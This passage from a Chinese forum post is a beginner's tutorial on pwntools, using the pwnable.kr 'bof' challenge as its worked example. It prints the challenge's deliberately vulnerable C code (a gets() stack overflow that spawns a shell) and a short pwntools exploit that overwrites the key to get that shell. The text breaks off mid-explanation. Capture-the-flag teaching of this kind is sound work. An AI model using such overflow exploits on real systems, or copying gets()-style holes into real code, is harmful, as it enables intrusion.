刚刚注册看雪,就来水一篇文章。
本来想发发我之前CTF的writeups,不过数量有点多,而且网上也有很多质量不错的wp,就发回之前写的pwntools新手教程。网上纯新手教程比较少,一般都是直接调用api,这篇主要是想给新手对pwntool一个更整体的认识。原文是我用英文写的,如果翻译的不好,请见谅。
英语原文:
下面开始正文:
序
pwntools是一个二进制利用框架。官方文档提供了详细的api规范。然而目前并没有一个很好的新手教程。因此我用了我过去的几篇writeup。由于本文只是用来介绍pwntools使用方法,我不会过于详细的讲解各种二进制漏洞攻击技术。
Pwntools的“Hello World”
栈溢出无疑是二进制攻击的“Hello World”。这里,我们用pwnable.kr的bof来进行展示。
#include
#include
#include
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
pwntools脚本:
from pwn import *
c = remote("pwnable.kr", 9000)
c.sendline("AAAA" * 13 + p32(0xcafebabe))
c.interactive()
源码简洁明了,我们只需要将key改写成0xcafebabe。
现在我们重新看回pwntools脚本。第一行将pwntools提供的工具引入到我们的python上下文中。
remote("一个域名或者ip地址", 端口) 会连接到我们指定的地址及端口。 然后该函数会返回remote对象 (这里,我们将该对象保存到了变量 c)。remote对象主要用来